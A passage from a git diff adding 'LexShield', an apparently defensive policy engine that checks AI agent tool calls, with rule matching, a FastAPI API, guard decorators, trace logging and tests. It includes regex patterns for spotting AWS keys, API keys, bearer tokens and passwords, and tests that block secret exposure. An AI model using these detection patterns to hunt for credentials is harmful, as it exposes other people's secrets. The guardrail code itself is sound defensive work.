intents.add(primary.intent) + for alternative in primary.alternatives: + intents.add(alternative.intent) + return intents + + +def _tool_matches(patterns: list[str], tool_name: str) -> bool: + return any(fnmatch.fnmatchcase(tool_name, pattern) for pattern in patterns) + + +def _tags_match( + required: dict[str, list[str]], context_tags: dict[str, str] | None +) -> bool: + if context_tags is None: + return False + for key, allowed_values in required.items(): + actual = context_tags.get(key) + if actual is None or actual not in allowed_values: + return False + return True + + +def build_expression_bindings( + request: ToolCallRequest, + classifications: list[Classification], +) -> dict[str, object]: + """Build variable bindings for expression evaluation.""" + bindings: dict[str, object] = { + "tool.name": request.tool.name, + "tool.namespace": request.tool.namespace or "", + "caller.id": request.caller.id, + "caller.type": request.caller.type.value, + "env": request.context.environment or "", + } + + if request.caller.roles: + bindings["caller.roles"] = list(request.caller.roles) + + if classifications: + primary = classifications[0] + bindings["intent"] = primary.intent + bindings["confidence"] = primary.confidence + + for key, value in (request.context.tags or {}).items(): + bindings[f"tags.{key}"] = value + + for key, value in request.arguments.items(): + bindings[f"args.{key}"] = _stringify_arg(value) + + return bindings + + +def _stringify_arg(value: object) -> str: + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if value is None: + return "" + return str(value) + + +def rule_matches( + compiled_rule: CompiledRule, + request: ToolCallRequest, + classifications: list[Classification], +) -> bool: + """Return True when all present match criteria on the rule are satisfied.""" + rule = compiled_rule.rule + if not rule.enabled: + return False + + match = rule.match + primary = classifications[0] if classifications else None + + if match.tools: + if not _tool_matches(match.tools, request.tool.name): + return False + + if match.intents: + intents = _matching_intents(classifications) + if not any(intent in intents for intent in match.intents): + return False + + if match.environments: + env = request.context.environment + if env is None or env not in match.environments: + return False + + if match.callers: + if request.caller.id not in match.callers: + return False + + if match.roles: + caller_roles = request.caller.roles or [] + if not any(role in caller_roles for role in match.roles): + return False + + if match.tags: + if not _tags_match(match.tags, request.context.tags): + return False + + if match.min_confidence is not None: + if primary is None or primary.confidence < match.min_confidence: + return False + + if compiled_rule.expression is not None: + bindings = build_expression_bindings(request, classifications) + if not compiled_rule.expression.evaluate(bindings): + return False + + return True + + +def sort_rules(compiled_rules: list[CompiledRule]) -> list[CompiledRule]: + """Sort rules by priority descending, then id ascending.""" + enabled = [rule for rule in compiled_rules if rule.rule.enabled] + return sorted( + enabled, + key=lambda item: (-item.rule.priority, item.rule.id), + ) diff --git a/packages/engine-py/src/lexshield/redaction.py b/packages/engine-py/src/lexshield/redaction.py new file mode 100644 index 0000000..c2949c7 --- /dev/null +++ b/packages/engine-py/src/lexshield/redaction.py @@ -0,0 +1,87 @@ +"""Secret redaction per SPEC §9.6.""" + +from __future__ import annotations + +import hashlib +import re +from typing import Any + +# Frozen redaction patterns from SPEC §9.6 +_AWS_KEY = re.compile(r"AKIA[0-9A-Z]{16}") +_API_KEY = re.compile(r"sk-(?:proj-)?[a-zA-Z0-9]{20,}") +_BEARER = re.compile(r"Bearer [A-Za-z0-9._\-]+") +_PASSWORD = re.compile(r"(?i)password\s*[:=]\s*\S+") +_EMAIL = re.compile(r"[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}") + +REDACTION_PATTERNS: list[tuple[re.Pattern[str], str]] = [ + (_AWS_KEY, "[REDACTED_AWS_KEY]"), + (_API_KEY, "[REDACTED_API_KEY]"), + (_BEARER, "Bearer [REDACTED]"), + (_PASSWORD, "password=[REDACTED]"), +] + + +def redact_string(value: str, *, redact_emails: str = "hash") -> tuple[str, list[str]]: + """Apply regex redaction to a string. + + Args: + value: Input string. + redact_emails: ``hash`` (sha256 prefix), ``redact``, or ``off``. + + Returns: + Tuple of (redacted string, list of redaction type labels applied). + """ + redacted = value + applied: list[str] = [] + + for pattern, replacement in REDACTION_PATTERNS: + if pattern.search(redacted): + applied.append(replacement) + redacted = pattern.sub(replacement, redacted) + + if redact_emails != "off" and _EMAIL.search(redacted): + applied.append("email") + + def _replace_email(match: re.Match[str]) -> str: + email = match.group(0) + if redact_emails == "hash": + digest = hashlib.sha256(email.encode()).hexdigest()[:12] + return f"[EMAIL_HASH:{digest}]" + return "[REDACTED_EMAIL]" + + redacted = _EMAIL.sub(_replace_email, redacted) + + return redacted, applied + + +def redact_value(value: Any, *, redact_emails: str = "hash") -> tuple[Any, list[str]]: + """Recursively redact secrets in nested structures.""" + if isinstance(value, str): + return redact_string(value, redact_emails=redact_emails) + if isinstance(value, dict): + result: dict[str, Any] = {} + all_applied: list[str] = [] + for key, item in value.items(): + redacted_item, applied = redact_value(item, redact_emails=redact_emails) + result[key] = redacted_item + all_applied.extend(applied) + return result, all_applied + if isinstance(value, list): + result_list: list[Any] = [] + all_applied = [] + for item in value: + redacted_item, applied = redact_value(item, redact_emails=redact_emails) + result_list.append(redacted_item) + all_applied.extend(applied) + return result_list, all_applied + return value, [] + + +def redact_arguments( + arguments: dict[str, Any], + *, + redact_emails: str = "hash", +) -> tuple[dict[str, Any], list[str]]: + """Redact secrets in tool call arguments.""" + redacted, applied = redact_value(arguments, redact_emails=redact_emails) + return redacted, applied diff --git a/packages/engine-py/src/lexshield/server/__init__.py b/packages/engine-py/src/lexshield/server/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/packages/engine-py/src/lexshield/server/app.py b/packages/engine-py/src/lexshield/server/app.py new file mode 100644 index 0000000..f7fbf11 --- /dev/null +++ b/packages/engine-py/src/lexshield/server/app.py @@ -0,0 +1,178 @@ +"""FastAPI local API — SPEC §9 routes (stubbed).""" + +from __future__ import annotations + +import os +from typing import Any + +from fastapi import Depends, FastAPI, HTTPException, Request +from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer + +from lexshield.challenges.store import ChallengeStore +from lexshield.models import ToolCallRequest, VerdictType +from lexshield.shield import Shield + +_bearer = HTTPBearer(auto_error=False) + + +def _require_token( + credentials: HTTPAuthorizationCredentials | None = Depends(_bearer), +) -> None: + token = os.environ.get("LEXSHIELD_LOCAL_TOKEN") + if not token: + return + if credentials is None or credentials.credentials != token: + raise HTTPException(status_code=401, detail="Unauthorized") + + +def create_app(shield: Shield | None = None) -> FastAPI: + """Create the LexShield FastAPI application.""" + app = FastAPI(title="LexShield", version="0.1.0") + app.state.shield = shield + app.state.challenge_store = ChallengeStore() + app.state.policy_loaded = shield is not None + + @app.get("/healthz") + async def healthz() -> dict[str, str]: + return {"status": "ok"} + + @app.get("/readyz") + async def readyz() -> dict[str, bool]: + return {"ready": bool(app.state.policy_loaded)} + + @app.post( + "/v1/shields/{shield_id}/evaluate", + dependencies=[Depends(_require_token)], + ) + async def evaluate(shield_id: str, body: ToolCallRequest) -> dict[str, Any]: + active = _get_shield(app, shield_id) + body = body.model_copy(update={"shieldId": shield_id}) + verdict = await active.evaluate( + tool=body.tool.name, + arguments=body.arguments, + caller=body.caller, + context=body.context, + request_id=body.id, + ) + return verdict.model_dump(by_alias=True) + + @app.post( + "/v1/shields/{shield_id}/execute", + dependencies=[Depends(_require_token)], + ) + async def execute(shield_id: str, body: ToolCallRequest) -> dict[str, Any]: + active = _get_shield(app, shield_id) + verdict = await active.evaluate( + tool=body.tool.name, + arguments=body.arguments, + caller=body.caller, + context=body.context, + request_id=body.id, + ) + if verdict.decision != VerdictType.ALLOW: + raise HTTPException( + status_code=403, + detail={ + "error": _error_code(verdict.decision), + "verdict": verdict.decision.value, + "reason": verdict.reason, + "request_id": verdict.request_id, + "matched_rule_id": verdict.matched_rule_id, + "retryable": False, + }, + ) + return { + "verdict": verdict.model_dump(by_alias=True), + "executed": False, + "message": "Execute stub — upstream forwarding not implemented", + } + + @app.get( + "/v1/shields/{shield_id}/policy", + dependencies=[Depends(_require_token)], + ) + async def get_policy(shield_id: str) -> dict[str, Any]: + active = _get_shield(app, shield_id) + return active.policy.model_dump(by_alias=True) + + @app.post( + "/v1/shields/{shield_id}/policy/reload", + dependencies=[Depends(_require_token)], + ) + async def reload_policy(shield_id: str) -> dict[str, str]: + active = _get_shield(app, shield_id) + try: + active.reload_policy() + return {"status": "reloaded"} + except Exception as exc: + return {"status": "failed", "message": str(exc)} + + @app.get("/v1/traces", dependencies=[Depends(_require_token)]) + async def list_traces( + decision: str | None = None, + tool: str | None = None, + intent: str | None = None, + limit: int = 50, + offset: int = 0, + ) -> dict[str, Any]: + active: Shield = app.state.shield + if active is None or active.trace_sink is None: + return {"traces": [], "total": 0} + traces = active.trace_sink.read_all(limit=limit, offset=offset) + filtered = [] + for trace in traces: + verdict = trace.get("verdict", {}) + request = trace.get("request", {}) + if decision and verdict.get("decision") != decision: + continue + if tool and request.get("tool", {}).get("name") != tool: + continue + if intent: + classifications = trace.get("classifications", []) + if not any(c.get("intent") == intent for c in classifications): + continue + filtered.append(trace) + return {"traces": filtered, "total": len(filtered)} + + @app.get("/v1/challenges", dependencies=[Depends(_require_token)]) + async def list_challenges() -> dict[str, Any]: + store: ChallengeStore = app.state.challenge_store + return {"challenges": store.list_open()} + + @app.post( + "/v1/challenges/{challenge_id}/resolve", + dependencies=[Depends(_require_token)], + ) + async def resolve_challenge( + challenge_id: str, + body: dict[str, str], + ) -> dict[str, Any]: + store: ChallengeStore = app.state.challenge_store + decision = body.get("decision", "") + actor = body.get("actor", "api") + if decision not in ("approve", "deny"): + raise HTTPException(status_code=400, detail="decision must be approve or deny") + record = store.resolve(challenge_id, decision=decision, actor=actor) + if record is None: + raise HTTPException(status_code=404, detail="Challenge not found") + return record + + return app + + +def _get_shield(app: FastAPI, shield_id: str) -> Shield: + active: Shield | None = app.state.shield + if active is None: + raise HTTPException(status_code=503, detail="Shield not configured") + if active.shield_id != shield_id: + raise HTTPException(status_code=404, detail=f"Shield '{shield_id}' not found") + return active + + +def _error_code(decision: VerdictType) -> str: + mapping = { + VerdictType.BLOCK: "lexshield_blocked", + VerdictType.CHALLENGE: "lexshield_challenged", + VerdictType.DEFER: "lexshield_deferred", + } + return mapping.get(decision, "lexshield_blocked") diff --git a/packages/engine-py/src/lexshield/shield.py b/packages/engine-py/src/lexshield/shield.py new file mode 100644 index 0000000..f42fd78 --- /dev/null +++ b/packages/engine-py/src/lexshield/shield.py @@ -0,0 +1,294 @@ +"""LexShield SDK — Shield entry point (stub).""" + +from __future__ import annotations + +import contextvars +import functools +import inspect +import time +from datetime import datetime, timezone +from pathlib import Path +from typing import Any, Callable, TypeVar + +import ulid +import yaml + +from lexshield.challenges.store import ChallengeStore +from lexshield.classifiers.pipeline import ClassifierPipeline +from lexshield.errors import ( + LexShieldBlockedError, + LexShieldChallengeError, + LexShieldConfigError, +) +from lexshield.models import ( + Caller, + CallContext, + ToolCallRequest, + ToolRef, + Trace, + Verdict, + VerdictType, +) +from lexshield.policy.engine import PolicyEngine +from lexshield.policy.loader import load_policy +from lexshield.traces.sink import NDJSONTraceSink + +F = TypeVar("F", bound=Callable[..., Any]) + +_session_conversation_id: contextvars.ContextVar[str | None] = contextvars.ContextVar( + "conversation_id", default=None +) +_session_environment: contextvars.ContextVar[str | None] = contextvars.ContextVar( + "environment", default=None +) +_session_tags: contextvars.ContextVar[dict[str, str] | None] = contextvars.ContextVar( + "tags", default=None +) + + +class ShieldSession: + """Context manager for session-scoped contextvars.""" + + def __init__( + self, + *, + conversation_id: str | None = None, + environment: str | None = None, + tags: dict[str, str] | None = None, + ) -> None: + self.conversation_id = conversation_id + self.environment = environment + self.tags = tags + self._tokens: list[contextvars.Token[Any]] = [] + + def __enter__(self) -> ShieldSession: + if self.conversation_id is not None: + self._tokens.append( + _session_conversation_id.set(self.conversation_id) + ) + if self.environment is not None: + self._tokens.append(_session_environment.set(self.environment)) + if self.tags is not None: + self._tokens.append(_session_tags.set(self.tags)) + return self + + def __exit__(self, *_: object) -> None: + for token in reversed(self._tokens): + token.var.reset(token) + + +class Shield: + """Bound LexShield instance: policy + classifiers + sinks.""" + + def __init__( + self, + *, + shield_id: str, + name: str, + policy_path: Path, + rules_path: Path | None = None, + trace_sink_path: Path | None = None, + ) -> None: + self.shield_id = shield_id + self.name = name + self.policy_path = policy_path + self.compiled_policy = load_policy(policy_path) + self.policy = self.compiled_policy.policy + self.policy_engine = PolicyEngine(self.compiled_policy) + self.classifier_pipeline = ClassifierPipeline(rules_path=rules_path) + self.challenge_store = ChallengeStore() + self.trace_sink = ( + NDJSONTraceSink(trace_sink_path) if trace_sink_path else None + ) + + @classmethod + def from_config(cls, path: str | Path) -> Shield: + """Load shield from lexshield.yaml.""" + config_path = Path(path) + if not config_path.exists(): + raise LexShieldConfigError(f"Config file not found: {config_path}") + + with config_path.open(encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + + if not isinstance(raw, dict) or "shield" not in raw: + raise LexShieldConfigError("Config must contain a 'shield' section") + + shield_cfg = raw["shield"] + base_dir = config_path.parent + policy_path = base_dir / shield_cfg.get("policy", "./policy.yaml") + rules_path = None + for classifier in shield_cfg.get("classifiers", []): + if classifier.get("type") == "deterministic": + rules_path = base_dir / classifier.get("path", "./rules.yaml") + break + + trace_sink_path = None + for sink in shield_cfg.get("sinks", []): + if sink.get("type") == "file": + trace_sink_path = base_dir / sink.get("path", "./traces.ndjson") + break + + return cls( + shield_id=shield_cfg.get("id", "local"), + name=shield_cfg.get("name", "local-shield"), + policy_path=policy_path, + rules_path=rules_path, + trace_sink_path=trace_sink_path, + ) + + def session( + self, + *, + conversation_id: str | None = None, + environment: str | None = None, + tags: dict[str, str] | None = None, + ) -> ShieldSession: + """Return a context manager for nested session context.""" + return ShieldSession( + conversation_id=conversation_id, + environment=environment, + tags=tags, + ) + + async def evaluate( + self, + *, + tool: str, + arguments: dict[str, Any] | None = None, + caller: dict[str, Any] | Caller | None = None, + context: dict[str, Any] | CallContext | None = None, + request_id: str | None = None, + ) -> Verdict: + """Evaluate a tool call and return a verdict (does not execute the tool).""" + start = time.perf_counter() + rid = request_id or str(ulid.new()) + + caller_model = ( + caller + if isinstance(caller, Caller) + else Caller.model_validate(caller or {"id": "anonymous", "type": "agent"}) + ) + + ctx = context if isinstance(context, CallContext) else CallContext.model_validate( + context or {} + ) + if _session_conversation_id.get() and not ctx.conversation_id: + ctx = ctx.model_copy(update={"conversationId": _session_conversation_id.get()}) + if _session_environment.get() and not ctx.environment: + ctx = ctx.model_copy(update={"environment": _session_environment.get()}) + if _session_tags.get() and not ctx.tags: + ctx = ctx.model_copy(update={"tags": _session_tags.get()}) + + request = ToolCallRequest( + id=rid, + shieldId=self.shield_id, + timestamp=datetime.now(timezone.utc).isoformat(), + caller=caller_model, + tool=ToolRef(name=tool), + arguments=arguments or {}, + context=ctx, + ) + + classifications = await self.classifier_pipeline.classify(request) + verdict = self.policy_engine.evaluate(request, classifications) + verdict = verdict.model_copy( + update={ + "requestId": rid, + "durationMs": (time.perf_counter() - start) * 1000, + } + ) + if self.trace_sink is not None: + self.trace_sink.write( + Trace( + id=rid, + request=request, + verdict=verdict, + ) + ) + return verdict + + def reload_policy(self) -> None: + """Reload policy from disk and refresh the policy engine.""" + self.compiled_policy = load_policy(self.policy_path) + self.policy = self.compiled_policy.policy + self.policy_engine = PolicyEngine(self.compiled_policy) + + async def record_outcome(self, request_id: str, outcome: str) -> None: + """Record execution outcome for a prior request (stub).""" + _ = (request_id, outcome) + + def guard( + self, + tool: str | None = None, + *, + await_challenge: bool = False, + ) -> Callable[[F], F]: + """Decorator that evaluates policy before invoking the wrapped function.""" + + def decorator(fn: F) -> F: + tool_name = tool or fn.__name__ + + if inspect.iscoroutinefunction(fn): + + @functools.wraps(fn) + async def async_wrapper(*args: Any, **kwargs: Any) -> Any: + verdict = await self.evaluate( + tool=tool_name, + arguments=kwargs or {}, + ) + self._raise_for_verdict(verdict, await_challenge=await_challenge) + return await fn(*args, **kwargs) + + return async_wrapper # type: ignore[return-value] + + @functools.wraps(fn) + def sync_wrapper(*args: Any, **kwargs: Any) -> Any: + raise LexShieldConfigError( + "Use shield.guard_sync for synchronous functions" + ) + + return sync_wrapper # type: ignore[return-value] + + return decorator + + def guard_sync( + self, + tool: str | None = None, + *, + await_challenge: bool = False, + ) -> Callable[[F], F]: + """Synchronous guard decorator (stub raises for async-only evaluate).""" + _ = (tool, await_challenge) + + def decorator(fn: F) -> F: + @functools.wraps(fn) + def wrapper(*args: Any, **kwargs: Any) -> Any: + raise LexShieldConfigError( + "guard_sync requires a running event loop; use async guard" + ) + + return wrapper # type: ignore[return-value] + + return decorator + + def _raise_for_verdict( + self, + verdict: Verdict, + *, + await_challenge: bool = False, + ) -> None: + if verdict.decision == VerdictType.BLOCK: + raise LexShieldBlockedError( + verdict.reason, + verdict=verdict, + request_id=verdict.request_id, + ) + if verdict.decision == VerdictType.CHALLENGE: + if await_challenge: + return + raise LexShieldChallengeError( + verdict.reason, + verdict=verdict, + request_id=verdict.request_id, + ) diff --git a/packages/engine-py/src/lexshield/traces/__init__.py b/packages/engine-py/src/lexshield/traces/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/packages/engine-py/src/lexshield/traces/sink.py b/packages/engine-py/src/lexshield/traces/sink.py new file mode 100644 index 0000000..e3f3341 --- /dev/null +++ b/packages/engine-py/src/lexshield/traces/sink.py @@ -0,0 +1,30 @@ +"""NDJSON trace file sink (stub).""" + +from __future__ import annotations + +import json +from pathlib import Path + +from lexshield.models import Trace + + +class NDJSONTraceSink: + """Append-only NDJSON trace sink.""" + + def __init__(self, path: str | Path) -> None: + self.path = Path(path) + self.path.parent.mkdir(parents=True, exist_ok=True) + + def write(self, trace: Trace) -> None: + """Append one trace event as NDJSON (non-blocking stub).""" + line = trace.model_dump_json(by_alias=True) + with self.path.open("a", encoding="utf-8") as handle: + handle.write(line + "\n") + + def read_all(self, *, limit: int = 100, offset: int = 0) -> list[dict]: + """Read trace events from the NDJSON file.""" + if not self.path.exists(): + return [] + lines = self.path.read_text(encoding="utf-8").splitlines() + selected = lines[offset : offset + limit] + return [json.loads(line) for line in selected if line.strip()] diff --git a/packages/engine-py/src/lexshield/version.py b/packages/engine-py/src/lexshield/version.py new file mode 100644 index 0000000..4fc4a9d --- /dev/null +++ b/packages/engine-py/src/lexshield/version.py @@ -0,0 +1,3 @@ +"""Package version.""" + +__version__ = "0.1.0" diff --git a/packages/engine-py/tests/conftest.py b/packages/engine-py/tests/conftest.py new file mode 100644 index 0000000..c948541 --- /dev/null +++ b/packages/engine-py/tests/conftest.py @@ -0,0 +1,19 @@ +"""Shared pytest fixtures.""" + +from __future__ import annotations + +import pytest + + +@pytest.fixture +def sample_arguments_with_aws_key() -> dict[str, str]: + return { + "to": "user@example.com", + "subject": "test", + "body": "key=AKIAIOSFODNN7EXAMPLE", + } + + +@pytest.fixture +def sample_arguments_with_bearer() -> dict[str, str]: + return {"headers": "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.test"} diff --git a/packages/engine-py/tests/golden_runner.py b/packages/engine-py/tests/golden_runner.py new file mode 100644 index 0000000..5365bf9 --- /dev/null +++ b/packages/engine-py/tests/golden_runner.py @@ -0,0 +1,146 @@ +"""Helpers for loading and running golden policy fixtures.""" + +from __future__ import annotations + +import json +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +import yaml + +from lexshield.classifiers.deterministic import DeterministicClassifier +from lexshield.models import Classification, ToolCallRequest, Verdict +from lexshield.policy.engine import PolicyEngine +from lexshield.policy.loader import load_policy, load_policy_data + +WORKSPACE_ROOT = Path(__file__).resolve().parents[3] +GOLDEN_ROOT = WORKSPACE_ROOT / "fixtures" / "golden" +UNKNOWN_INTENT = "unknown.unclassified" + + +@dataclass(frozen=True) +class GoldenFixture: + """Loaded golden scenario inputs and expectations.""" + + name: str + directory: Path + request: ToolCallRequest + expected: dict[str, Any] + policy_engine: PolicyEngine + classifier: DeterministicClassifier + strict: bool = False + + +def discover_golden_scenarios(root: Path | None = None) -> list[str]: + """Return sorted scenario directory names under fixtures/golden.""" + base = root or GOLDEN_ROOT + if not base.exists(): + return [] + return sorted( + entry.name + for entry in base.iterdir() + if entry.is_dir() and (entry / "request.json").exists() + ) + + +def _resolve_path(base_dir: Path, value: str) -> Path: + path = Path(value) + if path.is_absolute(): + return path + return (base_dir / path).resolve() + + +def _load_policy_ref(scenario_dir: Path) -> tuple[PolicyEngine, DeterministicClassifier]: + policy_ref_path = scenario_dir / "policy-ref.yaml" + if not policy_ref_path.exists(): + raise FileNotFoundError(f"Missing policy-ref.yaml in {scenario_dir}") + + with policy_ref_path.open(encoding="utf-8") as handle: + policy_ref = yaml.safe_load(handle) or {} + + policy_data = policy_ref.get("policy") + if isinstance(policy_data, dict): + compiled_policy = load_policy_data(policy_data) + elif isinstance(policy_data, str): + compiled_policy = load_policy(_resolve_path(scenario_dir, policy_data)) + else: + pack_policy = policy_ref.get("pack") + if pack_policy: + default_policy = WORKSPACE_ROOT / "packs" / pack_policy / "policy.yaml" + compiled_policy = load_policy(default_policy) + else: + raise ValueError(f"policy-ref.yaml in {scenario_dir} must define policy or pack") + + rules_ref = policy_ref.get("rules") + if isinstance(rules_ref, str): + rules_path = _resolve_path(scenario_dir, rules_ref) + elif (scenario_dir / "rules-ref.yaml").exists(): + rules_path = scenario_dir / "rules-ref.yaml" + elif policy_ref.get("pack"): + rules_path = WORKSPACE_ROOT / "packs" / policy_ref["pack"] / "rules.yaml" + else: + rules_path = None + + classifier = DeterministicClassifier(rules_path) + return PolicyEngine(compiled_policy), classifier + + +def load_golden_fixture(scenario: str, *, root: Path | None = None) -> GoldenFixture: + """Load a golden scenario by directory name.""" + base = root or GOLDEN_ROOT + scenario_dir = base / scenario + if not scenario_dir.is_dir(): + raise FileNotFoundError(f"Golden scenario not found: {scenario_dir}") + + with (scenario_dir / "request.json").open(encoding="utf-8") as handle: + request_data = json.load(handle) + + with (scenario_dir / "expected.json").open(encoding="utf-8") as handle: + expected = json.load(handle) + + policy_engine, classifier = _load_policy_ref(scenario_dir) + request = ToolCallRequest.model_validate(request_data) + strict = bool(expected.pop("strict", False)) + + return GoldenFixture( + name=scenario, + directory=scenario_dir, + request=request, + expected=expected, + policy_engine=policy_engine, + classifier=classifier, + strict=strict, + ) + + +def _classifications_for_request( + request: ToolCallRequest, + classifier: DeterministicClassifier, +) -> list[Classification]: + """Run deterministic classifier only, matching CI golden semantics.""" + result = classifier.classify(request) + if result is not None: + return [result] + return [ + Classification( + intent=UNKNOWN_INTENT, + confidence=0.3, + alternatives=[], + classifier="deterministic:v1", + reasoning="No deterministic classification", + ) + ] + + +def run_golden_fixture(fixture: GoldenFixture) -> Verdict: + """Evaluate a loaded golden fixture and return the verdict.""" + classifications = _classifications_for_request(fixture.request, fixture.classifier) + return fixture.policy_engine.evaluate(fixture.request, classifications) + + +def primary_intent(verdict: Verdict) -> str | None: + """Return the primary classification intent from a verdict.""" + if not verdict.classifications: + return None + return verdict.classifications[0].intent diff --git a/packages/engine-py/tests/test_golden.py b/packages/engine-py/tests/test_golden.py new file mode 100644 index 0000000..1dacc7b --- /dev/null +++ b/packages/engine-py/tests/test_golden.py @@ -0,0 +1,51 @@ +"""Golden fixture regression tests for the policy engine.""" + +from __future__ import annotations + +import pytest + +from golden_runner import ( + discover_golden_scenarios, + load_golden_fixture, + primary_intent, + run_golden_fixture, +) + +GOLDEN_SCENARIOS = discover_golden_scenarios() + + +@pytest.mark.golden +@pytest.mark.parametrize("scenario", GOLDEN_SCENARIOS) +def test_golden_fixture(scenario: str) -> None: + """Each fixtures/golden/ must match expected verdict fields.""" + fixture = load_golden_fixture(scenario) + verdict = run_golden_fixture(fixture) + expected = fixture.expected + + assert verdict.decision.value == expected["decision"], ( + f"{scenario}: decision expected {expected['decision']!r}, got {verdict.decision.value!r}" + ) + + if "matchedRuleId" in expected: + assert verdict.matched_rule_id == expected["matchedRuleId"], ( + f"{scenario}: matchedRuleId expected {expected['matchedRuleId']!r}, " + f"got {verdict.matched_rule_id!r}" + ) + elif expected.get("matchedRuleId") is None: + assert verdict.matched_rule_id is None + + assert verdict.reason == expected["reason"], ( + f"{scenario}: reason expected {expected['reason']!r}, got {verdict.reason!r}" + ) + + if "primaryIntent" in expected: + assert primary_intent(verdict) == expected["primaryIntent"], ( + f"{scenario}: primaryIntent expected {expected['primaryIntent']!r}, " + f"got {primary_intent(verdict)!r}" + ) + + if fixture.strict: + if "durationMs" in expected: + assert verdict.duration_ms == expected["durationMs"] + if "challengeId" in expected: + assert verdict.challenge_id == expected["challengeId"] diff --git a/packages/engine-py/tests/test_models.py b/packages/engine-py/tests/test_models.py new file mode 100644 index 0000000..b40b0c2 --- /dev/null +++ b/packages/engine-py/tests/test_models.py @@ -0,0 +1,78 @@ +"""Basic model validation tests.""" + +from lexshield.models import ( + Caller, + CallerType, + Classification, + Policy, + PolicyRule, + RuleMatch, + ToolCallRequest, + ToolRef, + Verdict, + VerdictType, +) + + +def test_verdict_type_values() -> None: + assert VerdictType.ALLOW.value == "ALLOW" + assert VerdictType.BLOCK.value == "BLOCK" + assert VerdictType.CHALLENGE.value == "CHALLENGE" + assert VerdictType.DEFER.value == "DEFER" + + +def test_tool_call_request_roundtrip() -> None: + request = ToolCallRequest( + id="01JTEST", + shieldId="local", + caller=Caller(id="agent-1", type=CallerType.AGENT), + tool=ToolRef(name="send_email"), + arguments={"to": "a@b.com"}, + ) + data = request.model_dump(by_alias=True) + restored = ToolCallRequest.model_validate(data) + assert restored.tool.name == "send_email" + assert restored.caller.id == "agent-1" + + +def test_policy_model_accepts_spec_shape() -> None: + policy = Policy( + id="baseline-deny", + name="Baseline", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="allow-health", + name="Allow health", + priority=100, + match=RuleMatch( + tools=["health_check"], + intents=["network.request.health"], + ), + verdict=VerdictType.ALLOW, + reason="Health checks allowed", + ) + ], + ) + assert policy.default_verdict == VerdictType.BLOCK + assert policy.rules[0].id == "allow-health" + + +def test_verdict_serialization() -> None: + verdict = Verdict( + requestId="01JTEST", + decision=VerdictType.BLOCK, + reason="blocked", + classifications=[ + Classification( + intent="security.secret_exposure", + confidence=0.98, + classifier="deterministic:v1", + ) + ], + durationMs=1.5, + ) + dumped = verdict.model_dump(by_alias=True) + assert dumped["requestId"] == "01JTEST" + assert dumped["decision"] == "BLOCK" diff --git a/packages/engine-py/tests/test_policy_engine.py b/packages/engine-py/tests/test_policy_engine.py new file mode 100644 index 0000000..ecbbf32 --- /dev/null +++ b/packages/engine-py/tests/test_policy_engine.py @@ -0,0 +1,374 @@ +"""Policy engine tests.""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from lexshield.models import ( + Caller, + CallerType, + Classification, + Policy, + PolicyRule, + RuleMatch, + ToolCallRequest, + ToolRef, + VerdictType, +) +from lexshield.policy.engine import PolicyEngine +from lexshield.policy.expressions import Expression, ExpressionError +from lexshield.policy.loader import CompiledPolicy, load_policy +from lexshield.policy.match import build_expression_bindings, rule_matches + +PACKS_DIR = Path(__file__).resolve().parents[3] / "packs" +BASELINE_POLICY_PATH = PACKS_DIR / "baseline-deny" / "policy.yaml" + + +def _classification( + intent: str, + confidence: float = 0.9, + *, + alternatives: list[tuple[str, float]] | None = None, +) -> Classification: + return Classification( + intent=intent, + confidence=confidence, + classifier="test", + alternatives=[ + {"intent": alt_intent, "confidence": alt_confidence} + for alt_intent, alt_confidence in (alternatives or []) + ], + ) + + +def _request( + *, + tool: str = "health_check", + arguments: dict | None = None, + environment: str | None = None, + tags: dict[str, str] | None = None, + caller_id: str = "agent-1", + caller_roles: list[str] | None = None, +) -> ToolCallRequest: + return ToolCallRequest( + id="01JTEST", + shieldId="local", + caller=Caller( + id=caller_id, + type=CallerType.AGENT, + roles=caller_roles, + ), + tool=ToolRef(name=tool), + arguments=arguments or {}, + context={ + "environment": environment, + "tags": tags, + }, + ) + + +def _engine_for_policy(policy: Policy) -> PolicyEngine: + return PolicyEngine(CompiledPolicy.from_policy(policy)) + + +@pytest.fixture +def baseline_engine() -> PolicyEngine: + compiled = load_policy(BASELINE_POLICY_PATH) + return PolicyEngine(compiled) + + +def test_allow_health(baseline_engine: PolicyEngine) -> None: + request = _request(tool="health_check") + classifications = [_classification("network.request.health")] + + verdict = baseline_engine.evaluate(request, classifications) + + assert verdict.decision == VerdictType.ALLOW + assert verdict.matched_rule_id == "allow-health" + assert verdict.reason == "Health checks are always allowed" + + +def test_block_secret_exposure(baseline_engine: PolicyEngine) -> None: + request = _request(tool="send_email", arguments={"body": "AKIAIOSFODNN7EXAMPLE"}) + classifications = [_classification("security.secret_exposure", 0.98)] + + verdict = baseline_engine.evaluate(request, classifications) + + assert verdict.decision == VerdictType.BLOCK + assert verdict.matched_rule_id == "block-secret-exposure" + assert verdict.reason == "Possible secret exposure in tool arguments" + + +def test_challenge_delete_prod(baseline_engine: PolicyEngine) -> None: + request = _request( + tool="delete_resource", + environment="production", + ) + classifications = [_classification("infra.delete.resource", 0.95)] + + verdict = baseline_engine.evaluate(request, classifications) + + assert verdict.decision == VerdictType.CHALLENGE + assert verdict.matched_rule_id == "challenge-delete-prod" + assert verdict.reason == "Destructive action in production requires approval" + assert verdict.challenge_id == "challenge-01JTEST" + + +def test_priority_tie_break_by_rule_id() -> None: + policy = Policy( + id="tie-break", + name="Tie break", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="rule-b", + name="Rule B", + priority=300, + match=RuleMatch(intents=["security.secret_exposure"]), + verdict=VerdictType.BLOCK, + reason="Blocked by rule-b", + ), + PolicyRule( + id="rule-a", + name="Rule A", + priority=300, + match=RuleMatch(intents=["security.secret_exposure"]), + verdict=VerdictType.ALLOW, + reason="Allowed by rule-a", + ), + ], + ) + engine = _engine_for_policy(policy) + request = _request(tool="send_email") + classifications = [_classification("security.secret_exposure")] + + verdict = engine.evaluate(request, classifications) + + assert verdict.decision == 